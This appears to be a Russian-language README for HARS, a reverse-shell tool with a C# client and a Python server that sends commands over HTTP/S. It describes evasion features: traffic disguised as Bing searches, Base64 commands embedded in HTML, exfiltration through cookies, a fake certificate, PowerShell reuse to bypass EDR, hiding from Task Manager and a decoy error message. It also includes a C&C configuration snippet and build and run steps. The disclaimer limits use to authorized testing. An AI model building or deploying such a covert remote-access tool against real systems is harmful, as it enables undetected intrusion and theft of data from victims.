HTTP/S Асинхронный Обратный Shell

✨ Введение

В эпоху, когда продвинутые системы обнаружения, такие как IDS, IPS, EDR, AV и межсетевые экраны, доминируют в корпоративных сетях, уклонение от них во время тестирования на проникновение является сложной задачей. Большинство обратных shell-оболочек используют туннели TCP (уровень 4), которые теперь routinely анализируются и помечаются.

Данный проект представляет инновационное решение: полностью асинхронный обратный shell через HTTP/S, который маскируется под обычный веб-трафик, имитируя легитимное поведение пользователя.

В отличие от традиционных обратных shell-оболочек, он использует только GET-запросы, выглядит как обычные веб-запросы и может опционально работать через HTTPS с поддельным легитимным сертификатом, минимизируя вероятность обнаружения.

Как это работает?

1. Клиентское приложение запускается на целевой машине.
2. Клиент инициирует соединение с сервером.
3. Сервер принимает соединение — затем:

Клиент опрашивает сервер, пока не получит инструкции.
Атакующий предоставляет инструкции серверу.
Когда команда определена, клиент выполняет её и возвращает результат.
И так далее, пока атакующий не решит завершить сессию.

Отказ от ответственности

Этот инструмент предназначен исключительно для демонстрации концепции в рамках авторизованного тестирования безопасности. Убедитесь, что вы ознакомились с местными законами перед использованием этого инструмента.

🔧 Возможности

На сегодняшний день в качестве PoC реализованы следующие функции:

• Скрытая связь только через GET.
• Имитация трафика Bing.com.
• Команды в Base64, встроенные в HTML.
• Экфильтрация через HTTP-куки.
• Опциональный HTTPS с поддельным сертификатом.
• Случайные задержки и шаблоны для каждого запроса.
• Повторное использование одного процесса PowerShell для обхода EDR.
• Совместимость с командами CMD и PowerShell.
• Опциональное всплывающее окно с ложной ошибкой.
• Скрыт от диспетчера задач.
• Опциональное выполнение с правами администратора.

🎥 Демонстрация

Сторона клиента

Сторона сервера

⚙️ Конфигурация

Клиент (C#)

1. Откройте HARS.sln в Visual Studio.
2. Отредактируйте Config.cs в соответствии с вашим окружением:

    class Config
        {
            /* Поведение */
            // Отображать ложное сообщение об ошибке при запуске
            public static bool DisplayErrorMsg = true;
            // Заголовок ложного сообщения об ошибке
            public static string ErrorMsgTitle = "This application could not be started.";
            // Описание ложного сообщения об ошибке
            public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
            // Минимальная задержка между вызовами клиента
            public static int MinDelay = 2;
            // Максимальная задержка между вызовами клиента
            public static int MaxDelay = 5;
            // Поддельный запрашиваемый URI - предупреждение: должен начинаться с "search" (или потребуется изменение на стороне сервера)
            public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
            /* Прослушиватель */
            // Имя хоста/IP-адрес C&C сервера
            public static string Server = "https://127.0.0.1";
            // Порт прослушивания C&C сервера
            public static string Port = "443";
            // Разрешить самоподписанные или «небезопасные» сертификаты - Предупреждение: часто необходимо в корпоративной среде с прокси
            public static bool AllowInsecureCertificate = true;
        }

Опционально: отредактируйте HARS.manifest для настройки уровня привилегий.

requestedExecutionLevel может быть установлено в asInvoker, highestAvailable или requireAdministrator.

Свойства проекта

Здесь можно настроить информацию о сборке и значок для файла.

Примечание: целевая версия .NET Framework установлена на 4.6, которая доступна по умолчанию в Windows 10.
Для Windows 7 выберите .NET 3.5, если не хотите устанавливать недостающие компоненты.

Сборка

Соберите проект из Visual Studio. Клиент будет сгенерирован в папке Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.

Готово!

Сервер (Python)

1. Отредактируйте HARS_Server.py в HARS_Server/www/, чтобы настроить порт или путь к сертификату.

PORT = 443
CERT_FILE = '../server.pem'

2. Запустите командой:

python HARS_Server.py

Примечания

• HTTP-логи находятся в Http Asynchronous Reverse Shell\HARS_Server\logs\
• Вы можете добавить свои шаблоны (любую HTML-страницу) в Http Asynchronous Reverse Shell\HARS_Server\templates

🔗 Ссылки

• Обзор обнаружения RSA NetWitness от Ли Киркпатрик
• Глубокий анализ от Насреддина Бенчерчали

@onSec-fr